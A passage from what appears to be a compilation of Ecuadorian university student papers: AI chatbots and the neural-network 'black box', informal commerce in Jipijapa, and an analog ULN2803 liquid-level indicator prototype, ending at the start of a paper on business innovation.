James M. Buchanan. (s.f.). Eumed.net. Recuperado el 20 de 12 de 2018, de <http://www.eumed.net/cursecon/textos/buchanan-elecc-publica.htm>

Marcela Peticara. (08 de 2018). UAH. Recuperado el 20 de 12 de 2018, de <http://fen.uahurtado.cl/2018/noticias/mercado-laboral-un-deterioro-continuo/>

Max Weber. (s.f.). Recuperado el 20 de 12 de 2018, de https://books.google.com.ec/books?hl=es&lr=&id=XTF_BgAAQBAJ&oi=fnd&pg=PT5&dq=articulos+sobre+economia&ots=2IQjPSldiN&sig=yIdxeug-11y0eCjXx5drYXy772Q#v=onepage&q=articulos%20sobre%20economia&f=false

BIOGRAFÍA DEL AUTOR

Katherine Lisseth Baque Chilán, Estudiante de Séptimo Semestre de la Carrera Ingeniería en Computación y Redes en la Universidad Estatal del Sur de Manabí.

Dayana Julissa Toala Calderón, Estudiante de Séptimo Semestre de la Carrera Ingeniería en Computación y Redes en la Universidad Estatal del Sur de Manabí.

Robards Javier Lima Pisco. Docente de la Universidad Estatal del Sur de Manabí.

LA INTELIGENCIA ARTIFICIAL Y LA DISPONIBILIDAD AL PÚBLICO

Baque Zambrano César Israel

Moreira Velez José Luis

Lcda. Kirenia Maldonado Zúñiga. Mg.

Ing. Julio Alberto Cedeño Ferrín. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

abcesarbaque25@gmail.com

RESUMEN

El presente trabajo de investigación se enfoca en la inteligencia artificial y la disponibilidad al público; en el sector empresarial se emplea el machine learning y algoritmos de la IA (Inteligencia Artificial), donde cada vez son mejores y más sofisticados, para explicar el funcionamiento y las decisiones que toman estos. El propósito de la investigación fue dar a conocer al público sobre la tecnología de la IA y la utilización, mediante la indagación de información se toma en cuenta los siguientes métodos: histórico-lógico, análisis-síntesis, inducción-deducción y bibliográfico-documental. La desconfianza está en la naturaleza humana, inclinado de lo que no se conoce bien, y la verdad es que una gran parte de la inteligencia artificial podría no encontrarse totalmente visible, y además que el desconfiar va seguido del rechazo, el abrir la caja negra y descubrir lo que contiene, se convirtió en un dominante de primera categoría. Las redes neuronales de la inteligencia artificial son complejos algoritmos planteados a partir del cerebro humano, y están pensadas para reconocer patrones en datos ordinarios y agruparlos en vectores. El resultado obtenido en la investigación sobre la utilización de la IA en las personas en el ámbito laboral permitió acudir a las necesidades sobre la toma de decisiones de un objeto capaz de desarrollarlo, mediante los prototipos diseñados para la interacción entre la inteligencia artificial y el humano.

PALABRAS CLAVE: algoritmos, caja negra, machine learning, red neuronal, vectores.

ABSTRACT

The present research work focuses on artificial intelligence and availability to the public; In the business sector, machine learning and AI algorithms (Artificial Intelligence) are used, where they are increasingly better and more sophisticated, to explain the operation and the decisions made by them. The purpose of the research was to inform the public about the AI technology and its use. Through the investigation of information, the following methods are taken into account: logical-historical, analysis-synthesis, induction-deduction and bibliographic-documentary. Mistrust is in human nature, inclined to what is not well known, and the truth is that a large part of artificial intelligence may not be fully visible, and also that distrust is followed by rejection, opening the black box and discovering what it contains, became a first-rate dominant. The neural networks of artificial intelligence are complex algorithms raised from the human brain and are designed to recognize patterns in ordinary data and group them in vectors. The result obtained in the research on the use of AI in people in the workplace, allowed to go to the needs on decision making of an object capable of developing it, through prototypes designed for the interaction between artificial intelligence and the human.

KEYWORDS: algorithms, black box, machine learning, neuronal network, vectors.

1. INTRODUCCIÓN

El periódico “expreso” en un sitio de su página oficial, publica “una interacción de las personas con la IA, debido a que en el año 2016 comenzaron a usarse los llamado chatbots, además cabe recalcar que en el año 1966 surgieron y, que en el año 2000 naciera el padre de lo que hoy se conoce como Siri”. (Espinoza, 2017)

El libro “Inteligencia artificial: modelos, técnicas y áreas de aplicación” de (Escolano, Cazorla, Alfonso, Colomina, & Lozano, 2003), muestran algoritmos evolutivos sobre la utilización de métodos de optimización de la “caja negra”, también menciona que “no necesitan más conocimiento sobre la función a optimizar...”, y “no es necesario que las funciones a tratar cumplan restricciones matemáticas específicas...”. El tema de la biología incluyendo el modelo computacional en un sistema de IA que permita tomar decisiones que normalmente los seres humanos tomamos y cada vez es más frecuentes escuchar el término de IA.

En la actualidad se presenta un gran crecimiento y utilización de la tecnología para la necesidad del ser humano en todo el mundo, siendo indispensable e inevitable el uso de los dispositivos electrónicos, los cuales son considerados una parte extendida e infaltable en cada momento. A menudo frecuentamos lugares públicos y se visualiza que la mayoría de las personas están con una tecnología física que acompañe, converse y comparta ideas con las personas.

El desarrollo de algoritmos y software que permitan imitar el comportamiento humano está en gran avance, aunque se hayan elaborado prototipos en distintos países como en Ecuador, permitiendo en las ciudades de Guayaquil y Quito, la interacción entre el hombre y la máquina la cual sea capaz de aprender y tomar decisiones propias.

En Ecuador se comienza a utilizar la inteligencia artificial en organizaciones como: el Banco del Pacífico con un agente virtual en Facebook llamado Sophi y el Banco Guayaquil en un chat de sitio web llamado Ada, según la prensa “LA NACIÓN” (Espinoza, 2017),

Este dispositivo informático emula un diálogo con interacción inmediata por el uso del machine learning y la IA, aprende y entiende el lenguaje natural de los humanos para dar respuesta a sus dudas.

En Guayaquil existe un dispositivo informático que contiene la IA llamado ‘BolonBot’, el cual solo es demostrativo, además reside en Quito un peruano-alemán llamado Jurgen Schuldt “que programa desde los 11 años, y creó una de las primeras empresas de desarrollo de software online en la capital”.

Obtener un teléfono o una casa es muy hermoso en ese momento en la vida. Además, de sentirse importantes, placenteros cuando, en ese momento de indagación de ese vehículo o casa, comienzan a llegar sugerencias relacionadas como por ejemplo, en los sitios web de ventas y compras de accesorios que se han abierto cuando se ha frecuentado. Sin embargo ¿qué sucede cuando la decisión se te otorga de una deuda, pago o una elección de préstamo de dinero que requieres para comprar ese hogar o ese auto también depende de un cierto tipo de algoritmo referente a un machine learning?

Por si no fuese lo bastante estresante que una cooperativa o banco concluya no darte el préstamo, posteriormente de continuar los pasos tradicionales, imagínate que el encargado de la decisión sea un programa de computador basado en la Inteligencia Artificial (IA).

En el área médica al atender un paciente para dar un diagnóstico se tiene mucho en juego, debido a que un diagnóstico equivocado tiene como consecuencia una intervención innecesaria, conllevando a un riesgo en la salud del paciente y los encargados de poner la IA a la disposición de los pacientes para diagnosticar con la seguridad y confianza que se necesita.

Al momento de que el sistema procesa todos los datos está aprendiendo, y asimila de forma secuencial las características que son más complejas cada una de las capas de la red neuronal, por supuesto con la preparación para que esté apta la Inteligencia Artificial puede resultar muy precisa, aunque sus procesos en la toma de decisiones no siempre son claras. Las redes neuronales de la IA son complejos algoritmos planteados a partir del cerebro humano, y están pensadas para reconocer patrones en datos en bruto y agruparlos en vectores (Martínez, 2018)

2. MATERIALES Y MÉTODOS

Histórico-lógico: se utilizó para el desarrollo del trabajo de investigación con la obtención de los historiales sobre la inteligencia artificial y sus prototipos emulando el comportamiento humano.

Análisis-síntesis: se utilizó este método en el proceso de análisis de los resultados para emitir el desarrollo y las conclusiones en el trabajo de investigación.

Inducción-deducción: Mediante el presente método se realizó el estudio de los principales aspectos de la investigación para la elaboración del documento basado en la inteligencia artificial.

Revisión-bibliográfica: se utilizó en la etapa de recopilación de información del tema para el proceso de elaboración de la investigación mediante libros web, sitios de carácter científico, internet, entre otros.

3. RESULTADOS Y DISCUSIÓN

Utilización de una encuesta realizada en Julio del 2018 por Gapgemini, en 10 países diferentes de una muestra de un 73% en haber interactuado con la IA sobre la atención al cliente. Los servicios relacionados con la Inteligencia Artificial incluyen el uso del chatbots, que son sistemas de lectores faciales por escáner y poder conversar con un asistente de voz de tipo Siri.

La mayor parte de usuarios, el 69% se encuentran bien con la intercomunicación que tienen con la IA, sin embargo, un 55% escogieron interactuar con una unión de humanos y la IA.

63%: mayor control de las interacciones.

63% disponibilidad a tiempo completo.

45%: resolución más rápida de los problemas de atención al cliente.

35%: menos esfuerzo por parte del consumidor.

30%: privacidad y seguridad de los datos personales.

30%: mayor confianza.

29%: mayor personalización.

4. CONCLUSIONES

El resultado obtenido en la investigación sobre la utilización de la IA (Inteligencia Artificial) en las personas en el ámbito laboral, permitió acudir a las necesidades sobre la toma de decisiones de un objeto capaz de desarrollarlo, mediante los prototipos diseñados para la interacción entre la inteligencia artificial y el humano.

REFERENCIAS BIBLIOGRÁFICAS

Escolano, F., Cazorla, M., Alfonso, M., Colomina, O., & Lozano, M. (2003). Inteligencia Artificial. Modelos, técnicas y áreas de aplicación. Madrid, España: Paraninfo. Obtenido de

https://books.google.com.ec/books?id=_spC6S7UfZgC&printsec=frontcover#v=onepage&q&f=false

Espinoza, G. (15 de Junio de 2017). Expreso. Obtenido de Los chatbots, en Guayaquil ya quieren vender bolones: <https://www.expreso.ec/ciencia-y-tecnologia/los-chatbots-en-guayaquil-ya-quieren-vender-bolones-MB1416349>

Martínez, P. A. (12 de Septiembre de 2018). Ideas (para generar confianza y resolver problemas importantes). Obtenido de Por qué hay que abrir la caja negra de la

Inteligencia Artificial: <https://ideas.pwc.es/archivos/20180914/por-que-hay-que-abrir-la-caja-negra-de-la-inteligencia-artificial/>

BIOGRAFÍA DE AUTORES

César Israel Baque Zambrano estudiante de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí, Jipijapa-Manabí-Ecuador; graduado de Bachiller en Ciencias Sociales en la Unidad Educativa Fiscal “Alejo Lascano”.

José Luis Moreira Vélez estudiante de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí, Jipijapa-Manabí-Ecuador; graduado en Bachiller en Técnico en Comercio y Administración Especialidad Computación en el Colegio Técnico Particular “Ciudad de la Juventud” Montecristi.

Kirenia Maldonado Zuñiga, Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

Julio Alberto Cedeño Ferrín, Máster Diplomado Superior en Diseño de Proyectos, Ingeniero Eléctrico, Universidad Estatal del Sur de Manabí.

MICROECONOMÍA SUSTENTADA EN EL COMERCIO INFORMAL DEL CASCO COMERCIAL DE JIPIJAPA - MANABÍ – ECUADOR

Johanna Yadira Suárez Pincay,
Jaime Alexander Calderón Moreira,
Ec. Robards Javier Lima Pisco. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Johanna1997suarez@gmail.com

alquirido-1997@hotmail.com

RESUMEN

A nivel mundial, han surgido tendencias del comercio, la cual se ha caracterizado por tener un beneficio directo, es decir, buscar el bienestar a largo plazo, teniendo como misión a clientes satisfechos, lo que ayuda a contribuir el mejoramiento de la calidad de vida en la sociedad. Este trabajo tiene como objetivo optimizar el impacto que tiene el comercio informal en la sociedad del Cantón Jipijapa, generando un conjunto de razones y demandas para estar en el mercado, siendo un puente de unión entre lo social y lo individual. Esta investigación se ha apoyado en métodos de análisis bibliográfico, observación y estudios. Los resultados de esta investigación se han visto reflejados en la variación de precios el cual se ha producido gracias a un aumento de servicios para consumidores, la realización de prácticas engañosas que se dan en muchos comerciantes que aseguran un nivel de ganancia superior al que verdaderamente obtendrán. De la misma manera se concluyó este mercado informal al no estar legalmente constituido va a permitir ciertos tipos de prácticas desleales inclusive aportes para el estado vía impuesto.

PALABRAS CLAVE: bienestar, comercio informal, optimizar, servicios, social.

ABSTRACT

At the global level, trade trends have emerged, which has been characterized by having a direct benefit that is, seeking long-term well-being with a mission to satisfied customers, which helps to contribute to the improvement of the quality of life in society. This work aims to optimize the impact of informal trade in the society of Canton Jipijapa, generating a set of reasons and demands to be in the market, being a bridge of union between the social and the individual. This research

has been supported by methods of bibliographic analysis, observation and studies. The results of this research have been reflected in the price variation which has occurred thanks to an increase in services for consumers, the performance of deceptive practices that occur in many merchants that ensure a higher level of profit than they will actually obtain. In the same way this informal market was concluded since it is not legally constituted it will allow certain types of unfair practices to be included in the contributions for the state via tax.

KEYWORDS: informal commerce, optimize, services, social, welfare.

1. INTRODUCCIÓN

Según (Rodríguez, 2016) dice que en el año 1534 llegó desde Centroamérica Pedro de Alvarado a la costa de la provincia de Manabí. Debido a la inclemencia del tiempo, llegó hasta Jipijapa y Montecristi, siendo partícipe de la microeconomía en la sociedad, lo cual es mucho más que vender un producto al consumidor, sino que también implica ser socialmente responsable a través de un análisis y estudio para así tener una mejor visión al impacto en las personas en cambiar su manera de pensar, desarrollar nuevos y mejores criterios de compra a la vez generando dinero y sean rentables.

La microeconomía se caracteriza por pretender el beneficio directo de todas las partes que intervienen en los procesos de intercambio, es decir, de los compradores, vendedores de la sociedad en su conjunto, situación que incrementa las posibilidades de obtener beneficios a mediano, corto y largo plazo.

Hoy en día las organizaciones que se enfrentan a un constante reto, ya que estas deben tener mucho énfasis a manejar de forma efectiva sus recursos y enfocarse a los aspectos internos y externos que puedan influir en su funcionamiento, y con ello lograr resultados de calidad que benefician a la comunidad por ello es importante definir el concepto de la microeconomía la cual es una herramienta que implica una serie de procedimientos que se requieren en una gran medida que brinda a una gran competitividad que permite conocer los puntos claves de diferentes comunidades, además a contribuir el mejoramiento de la calidad de vida en la sociedad

LA MICROECONOMIA SOCIAL

Según (Janeth, 2016), la microeconomía se encarga del análisis del comportamiento de las unidades económicas o agentes económicos (a saber: familias, empresas, consumidores, gobiernos, etc.) y la interacción de estos en los mercados. La teoría del consumidor es una perspectiva de la microeconomía que analiza el comportamiento de los agentes económicos como consumidores, por oposición a su comportamiento como productores. La parte de la microeconomía que estudia el comportamiento de los productores se llama teoría del productor.

LA MICROECONOMÍA Y SU RELACIÓN

La microeconomía utiliza modelos formales para explicar el comportamiento de productores y consumidores. Estos modelos microeconómicos, parten de supuestos para arribar a conclusiones utilizando el método deductivo. El método analítico de la microeconomía se basa en un razonamiento lógico. El lenguaje matemático contribuye a expresar con claridad este razonamiento y aumenta el grado de rigurosidad, por esto la microeconomía suele utilizar al lenguaje matemático.

En las últimas décadas la microeconomía ha estrechado sus vínculos con la macroeconomía, ya que los modelos agregados modernos incluyen fundamentos de la microeconomía, que les otorgan mayor solidez en términos formales. Por ejemplo, las funciones de consumo agregadas (que explican el comportamiento de muchos individuos) de los modelos macroeconómicos modernos deben ser coherentes con funciones de comportamiento microeconómicas (que explican el comportamiento de un solo individuo).

FACTORES CONSUMISMO

Es un movimiento organizado de ciudadanos y dependencias del gobierno que busca mejorar los derechos y el poder de los compradores en relación con los vendedores.

Para regular la microeconomía, debido a que algunas personas ven a los negocios como la causa de muchos males económicos y sociales, han surgido de vez en vez movimientos populares encaminados a fijar límites a las empresas. Los dos movimientos principales han sido el Consumismo y el Ambientalismo.

Las personas son más conscientes sobre varios aspectos que antes no se tenían mucho en consideración como lo son el calentamiento global, la pobreza, los efectos de las campañas de

la microeconomía y publicidad, etc. Enfocándonos en el área de los negocios, específicamente en el de la microeconomía, se ha encontrado que hoy en día, muchas personas piensan y critican que esta se encarga de crear necesidades para el consumidor, lo cual no es verdad. En este ensayo, para comprobar que la microeconomía no crea necesidades, se pretende explicar el rol y el alcance que puede llegar a tener en la sociedad dependiendo del tipo de mercado al que se dirige.

Cada vez es mayor la observación de los ciudadanos sobre el comportamiento de las empresas, por lo que, entre los aspectos para reflexionar y mejorar del uso del marketing, en primer lugar, no se debería perder de vista, la gran influencia que puede tener una estrategia de marketing, en los hábitos de consumo del ser humano, por ello toda acción de marketing se debe basar en el respeto a la dignidad humana. Esto significa: considerar la moral, la cultura y las necesidades espirituales de la persona.

2. MATERIALES Y MÉTODOS

La metodología usada en esta investigación fue por medio de artículos publicados en internet, libros y revistas expertos en el tema de la microeconomía; la información presentada se obtuvo mediante los siguientes pasos:

- 1- Recaudar información de diferentes fuentes
- 2- Análisis y comprensión de lo más relevante y útil del tema
- 3- Síntesis de puntos clave e ideas principales

En la realización de este artículo se usó los siguientes métodos investigativos:

Método histórico-lógico. Escogido por ser estudio de la trayectoria real de los fenómenos y acontecimientos en el de cursar de una etapa o período. Se empleó en la búsqueda de los antecedentes del objeto de investigación.

Método inducción-deducción. Este método se utilizó porque partimos de una hipótesis, la misma que estuvo sujeto a comprobación.

Método de revisión bibliográfica. Con la aplicación de este método se pudo obtener toda la información con respecto al tema de investigación por medio del internet que aporten de manera significativa al proyecto.

3. RESULTADOS Y DISCUSIÓN

Es cierto que la publicidad y el marketing tienen que ver en el impacto al consumidor e influye en sus decisiones de compra, esto no pasa con una sociedad, Este tipo de consumidor es escéptico ante los reclamos publicitarios de las empresas y prefiere una información independiente sobre los procesos.

En la ciudad de Jipijapa, el impacto que presenta la microeconomía es prescindible para que el mercado económico aumente, esto se debe a que los habitantes son propensos a dejarse llevar por el marketing de las empresas.

4. CONCLUSIONES

La microeconomía tiene sus propios peligros por lo que enfrenta nuevos desafíos en un entorno económico competitivo y sociocultural, las estrategias del desarrollo dieron una orientación que reconocen la tarea prioritaria de estudiar las necesidades, siendo un puente de unión entre lo social y lo individual para llegar a un mínimo impacto lo cual resulta innegable que las ventas ambulantes y estacionarias que han proliferado en el cantón jipijapa, vienen causando un trastorno social en las principales avenidas, y que ha reclutado compuesta por hombres desempleados, mujeres cabeza de familia y un gran porcentaje de niños en edad de escolaridad que no han tenido la oportunidad de gozar del derecho fundamental a la educación.

REFERENCIAS BIBLIOGRÁFICAS

Albuquerque, f. (año). Desarrollo Económico Local y Descentralización en América Latina. Revista CEPAL, (82), 157-171.

Boisier, S. (1986). La articulación Estado-Región: clave del desarrollo regional. Recuperado de http://repositorio.cepal.org/bitstream/handle/11362/34451/S8500596_es.pdf?sequence=1&isAllowed=y

- CaiCeDo, C. (2008). Políticas e instituciones para el desarrollo económico territorial en América Latina y el Caribe. El caso de Colombia. Desarrollo territorial, (3). Recuperado de <http://www.giz-cepal.cl/files/SDT3.pdf>
- CaPello, r. (2009). La Economía Regional tras cincuenta años: Desarrollos teóricos recientes y desafíos futuros. Investigaciones Regionales, (9), 169-192.
- Cuervo, l. (2000). Ciudad y competitividad: entre las partes y el todo. Territorios, (3), 69-80.
- Cuervo, l. (2003) Evolución reciente de las disparidades económicas territoriales en América
- Gallo, M. (2009). Crecimiento económico y desequilibrios territoriales
- Rodríguez, I. J. (21 de 01 de 2016). Obtenido de <file:///C:/Users/USUARIO/Downloads/Dialnet-ProduccionYComercializacionDelSombreroDePajaToquil-5761616.pdf>
- Web Hosting, M. y. (2012 de Noviembre de 15). Obtenido de <https://www.digitalserver.com.mx/blog/impacto-de-la-microeconomia-en-la-mente-de-los-seres-humanos/>

BIOGRAFÍA DEL AUTOR

Johanna Yadira Suárez Pincay, Estudiante de Séptimo Semestre de la Carrera Ingeniería en Computación y Redes en la Universidad Estatal del Sur de Manabí.

Jaime Alexander Calderón Moreira, Estudiante de Séptimo Semestre de la Carrera Ingeniería en Computación y Redes en la Universidad Estatal del Sur de Manabí.

Robards Javier Lima Pisco. Docente de la Universidad Estatal del Sur de Manabí.

PROTOTIPO ANALÓGICO, CONTROL DE NIVELES DE LÍQUIDOS, UTILIZACIÓN DE COMPONENTES ELECTRÓNICOS

Mario Henry Santana Reyes,

Jimmy Gabriel Mero Delgado,

Lcda. Kirenia Maldonado Zúñiga. Mg.

Ing. Julio Alberto Cedeño Ferrín. Mg.

Ing. Kleber Germiniano Marcillo Parrales. Mg.

UNIVERSIDAD ESTATAL DE SUR DE MANABÍ

mariosantana-98@hotmail.com

RESUMEN

El componente central de esta investigación es un circuito integrado ULN2803, el cual posee internamente un grupo de transistores NPN configurados especialmente para el manejo de cargas. En bases de los mismos, se conecta la señal proveniente de los sensores a través de resistencia de 10 Kohm (R9 a R16) y en su salida, por el colector, se conecta a los LED indicadores de nivel a través de resistencia de 560 ohm (R1 a R8). El objetivo de este prototipo electrónico para que permita medir el nivel de llenura de un recipiente mediante indicadores analógicos. En la investigación se utilizaron los siguientes métodos: histórico-lógico, estadístico-matemático, método de revisión bibliográfica. Las encuestas demostraron la importancia de un dispositivo que permita observar una apreciación del nivel de llenura de un recipiente de abastecimiento de líquidos, así como poseer una alarma sonora que permita saber en qué momento la cisterna esta en su tope máximo. Los resultados demostraron que las pruebas de la planta y su contraste con simulaciones de modelos simplificados evidenciaron los alcances de estos modelos y los compromisos que se manejan, como los problemas con la respuesta no lineal de la planta en algunos casos y los niveles de saturación de los controladores. Se concluyó que el sistema logrado es una aplicación de control análogo por sus alcances en el afianzamiento de este tema y en el contraste que se logra entre la teoría y las aproximaciones matemáticas con el comportamiento físico que se presenta en la realidad.

PALABRAS CLAVES: circuito integrado, prototipo electrónico, tecnología.

ABSTRACT

The central component of this research is a ULN2803 integrated circuit, which internally has a group of NPN transistors specially configured for load handling. On the basis of these, the signal from the sensors is connected through resistance of 10 Kohm (R9 to R16) and in its output, through the collector, it is connected to the LED level indicators through resistance of 560 ohm (R1 to R8). The objective of this electronic prototype to allow to measure the level of fill of a vessel by analog indicators. The following methods were used in the research: historical-logical, statistical-mathematical, bibliographic review method. The surveys demonstrated the importance of a device to observe an assessment of the level of filling of a liquid supply container as well as to possess a sound alarm that allows us to know when the tank is at its maximum peak. The results demonstrated that the plant's tests and its contrast with simplified model simulations demonstrated the scope of these models and the commitments being handled, such as problems with the plant's nonlinear response in some cases and saturation levels of the controllers. It was concluded that the system achieved is an application of similar control by its scope in the entrenchment of this subject and in the contrast that is achieved between theory and mathematical approaches with the physical behavior that is presented in reality.

KEYWORDS: integrated circuit, electronic prototype, technology.

1. INTRODUCCIÓN

El componente central del proyecto es un circuito integrado ULN2803, el cual posee internamente un grupo de transistores NPN configurados especialmente para el manejo de cargas. En bases de los mismos, se conecta la señal proveniente de los sensores a través de resistencia de 10 Kohm (R9 a R16) y en su salida, por el colector, se conecta a los LED indicadores de nivel a través de resistencia de 560 ohm (R1 a R8). (Indicador de nivel de agua , s.f.)

Dado que es el terminal común tiene señal positiva, cuando hace contacto a través del agua con unos de los sensores, se está polarizando directamente el transistor asociado, por lo tanto. El mismo entra en conducción haciendo que el LED que está conectado en su colector se encienda.

2. DESARROLLO

Dispositivos electrónicos

Dispositivos electrónicos son los diversos componentes que se utilizan en los circuitos electrónicos. Los más comunes son las resistencias, los condensadores, los diodos y los transistores, así como los elementos que resultan de la especialización de los anteriores, como tiristores, diacs o triacs. (ECURED, s.f.)

A medida que avanza la capacidad de miniaturización se encapsulan cantidades cada vez mayores de dispositivos electrónicos en espacios cada vez menores, en algunos casos por miles o millones, como en las tarjetas electrónicas de un ordenador. Por tanto, el uso de componentes individuales es cada vez más limitado. (ECURED, s.f.)

Las resistencias

Las resistencias son dispositivos pasivos que tienen un comportamiento estrictamente óhmico, es decir, que obedece a la ley de Ohm. Por tanto, existe una proporcionalidad entre la tensión en sus extremos y la intensidad de la corriente que las atraviesa. Tipos especiales de resistencias

A pesar de lo indicado, en electrónica se denomina a veces resistencias a ciertos elementos que no cumplen estrictamente la ley de ohm, porque la relación entre tensión e intensidad depende de manera muy notable de otra magnitud física.

Señales Digitales

Otra forma de tratar señales eléctricas es convertirlas en números. La electrónica digital se fundamenta en el tratamiento y manejo de señales eléctricas de tipo digital.

Ley de OHM

La ley de Ohm, postulada por el físico y matemático alemán Georg Simon Ohm, es una ley de la electricidad. Establece que la diferencia de potencial {V} que aparece entre los extremos de un conductor determinado es proporcional a la intensidad de la corriente {I} que circula por el citado conductor.

Ley de Watt

Al igual que con la ley de Ohm, podemos usar un triángulo para representar la ley de Watt. El objetivo es recordar fácilmente las relaciones entre P, I y V para encontrar la magnitud que nos interese conociendo las otras dos.

Circuitos electrónicos

Es una red electrónica que contiene fuentes, interruptores y semiconductores que posee al menos una trayectoria cerrada. Los circuitos electrónicos se pueden volver muy complejos, pero a un nivel muy básico, siempre tienes la fuente de la electricidad (batería), la carga y dos cables para conducir la electricidad entre la batería y la carga. Transistores y dispositivos relacionados

Los transistores son dispositivos formados por dos uniones de semiconductores que, en función de su polarización, conducen o no la corriente y amplían la señal de salida respecto a la de entrada.

El tiristor

A diferencia de los transistores, que son semiconductores de dos uniones de cristales, los tiristores son semiconductores con tres uniones (PNPN).

Componentes electrónicos

Un componente electrónico es un dispositivo con dos o más terminales en el que puede fluir interiormente una carga:

- Nodo
- Rama
- Malla

Diodos Leeds

El LED es un tipo especial de diodo, que trabaja como un diodo común, pero que al ser atravesado por la corriente eléctrica, emite luz. Existen diodos LED de varios colores que dependen del material con el cual fueron contruidos.

Resistencias

Las resistencias normalmente utilizadas en electrónica son las denominadas de carbón, debido a que su valor resistivo se obtiene por medio de polvo de carbón mezclado con un aglomerante. Son resistencias de pequeñas dimensiones y baja potencia, y de muy bajo precio. La unidad de medida de dichos componentes es el Ohmio (Ω).

Puertas lógicas

El origen de los circuitos lógicos comienza con la necesidad de construir automatismos y es anterior al desarrollo de la electrónica digital integrada.

Circuitos Integrados

Los circuitos integrados, también llamados chips, son pastillas semiconductoras de silicio en las cuales se hallan según su composición miles o millones de dispositivos electrónicos, como transistores, resistencias, diodos y capacitores, interconectados entre sí para formar un circuito electrónico específico.

Circuitos integrados analógicos: pueden contener un número determinado de transistores sin conexión alguna entre ellos, o circuitos complejos y funcionales, como amplificadores, osciladores e, incluso, receptores de audio.

Circuitos integrados digitales: pueden ser compuertas lógicas básicas, AND, OR, NOT, o aún más complejos, microprocesadores o micro-controladores.

Circuitos Impresos

Un circuito impreso o PCB en inglés, es una tarjeta o placa utilizada para realizar el emplazamiento de los distintos elementos que conforman el circuito y las interconexiones eléctricas entre ellos.

3. MATERIALES Y MÉTODOS

Para el desarrollo de la presente investigación se utilizaron los siguientes métodos.

Del nivel teórico:

Análisis – síntesis: se utilizó para determinar el uso de dispositivos electrónicos.

Histórico – lógico: se usó en la construcción de la investigación con énfasis en la búsqueda de los antecedentes.

Del nivel Empírico:

Encuestas: Para analizar y determinar si cuenta con estos prototipos electrónicos en los sectores de Jipijapa.

Observación: Permitió investigar y analizar la mayor cantidad de información, que se necesita para implementar este prototipo analógico para el control de niveles de llenura de líquidos mediante la utilización de componente electrónicos

Revisión bibliográfica: Se utilizó en la recopilación de la información para la elaboración de la investigación, mediante libros, revistas científicas, artículo, entre otros.

Del nivel Estadístico – Matemático: permitió analizar los datos estadísticos reales en base a los resultados de cada cuestionario realizado a cada persona que participo.

4. RESULTADO Y DISCUSIÓN

Resultados Obtenidos de las encuestas

¿Posee en su hogar una cisterna o repositorio de agua potable?

TABLA # 1

Alternativa	Frecuencia	%
Si	7	70%
No	3	30%
Total	10	100%

FIGURA #1

Análisis de Resultados

Podemos observar que el 70% de los estudiantes poseen una cisterna o recipiente donde almacenan agua potable. Mientras que el 30% no poseen o tienen recipientes de acopamientos pequeños.

¿Considera útil la existencia de un dispositivo electrónico que permita observar un estimado del nivel de líquido de un recipiente?

TABLA # 2

Alternativa	Frecuencia	%
Si	9	90%
NO	1	10%
Total	10	100%

FIGURA #2

Análisis de Resultados

En este gráfico podemos observar que el 90% de los encuestados aprueban la idea de la existencia de un dispositivo que permita observar una apreciación del nivel de llenura de un recipiente de abastecimiento de líquidos.

.

¿Le gustaría que además de controlar el nivel de líquido, el dispositivo también advierta cuando esté lleno a su máxima capacidad?

TABLA # 3

Alternativa	Frecuencia	%
Si	10	100%
No	0	0%
Total	10	100%

FIGURA #3

Análisis de Resultados

Mediante el gráfico que estamos visualizando podemos constatar que el 100% de los encuestados consideran un buen ideal la propiedad adicional de poseer una alarma sonora que permita saber en qué momento el recipiente o cisterna esté con el máximo de llenura posible.

Del total de los resultados un 70% afirmó que si posee un recipiente o cisterna, y el 90% afirmó que le gustaría implementar este dispositivo electrónico que permita observar un estimado del nivel de líquido de un recipiente, lo que permitió a la investigación e implementar este prototipo en los sectores de Jipijapa.

CONCLUSIONES

El sistema logrado es una interesante aplicación de control análogo por sus alcances en el afianzamiento de este tema y en el contraste que se logra entre la teoría y las aproximaciones matemáticas con el comportamiento físico que se presenta en la realidad. Además, el trabajo conjunto de las pruebas de la planta y su contraste con simulaciones de modelos simplificados deja en evidencia los alcances de estos modelos y los compromisos que se manejan, tal como los problemas con la respuesta no lineal de la planta en algunos casos y los niveles de saturación de los controladores entre otros.

REFERENCIAS BIBLIOGRÁFICAS

ECURED. (s.f.). Obtenido de https://www.ecured.cu/Dispositivos_electr%C3%B3nicos

Indicador de nivel de agua. (s.f.). Obtenido de file:///C:/Users/EQUIPO-14/Downloads/34PE_Parte2.pdf

BIOGRAFÍAS DE AUTORES

Mario Henry Santana Reyes, Estudiante de la Carrera de Ingeniera en Tecnología de la información.

Jimmy Gabriel Mero Delgado, Estudiante de la Carrera de Ingeniera en Tecnología de la información.

Kirenia Maldonado Zuñiga, Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

Julio Cedeño Ferrin, Docente de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí del Cantón Jipijapa, Manabí, Ecuador.

Kleber Germiniano Marcillo Parrales, Ing. Eléctrico, Magister en Gerencia Educativa, docente de la carrera de Tecnologías de la Información y la carrera de Ingeniería en Sistemas Computacionales de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí.

ESTUDIO DE LA INNOVACIÓN Y CREATIVIDAD QUE PRESENTAN LOS NEGOCIOS DEL CANTÓN JIPIJAPA

Denisse Carolina Guerrero Indacochea,

Miguel Ángel Toala Reyes,

Ec. Robards Javier Lima Pisco. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ,

denissegi12@gmail.com,

RESUMEN

Los emprendedores jipijapenses ven la necesidad de innovar y dar una característica singular y diferenciadora a sus negocios sacando ventaja a la competencia atribuyendo un valor adicional que genere un llamado de atención al público en general. El objetivo de esta investigación es analizar las estrategias utilizadas por los emprendedores para prosperar exitosamente en los negocios de la ciudad Jipijapa. En este trabajo se utilizó la metodología de observación y análisis de campo, además de recolectar información de los negocios existentes. Dentro de los resultados en base a la investigación se pudo determinar que del 100% de los negocios en general un 20% presentan innovación y creatividad en sus servicios en la ciudad. Como conclusión se logró determinar en qué porcentaje estos negocios tienden a innovar.

PALABRAS CLAVE: creatividad, emprendedores, innovar, negocios

ABSTRACT

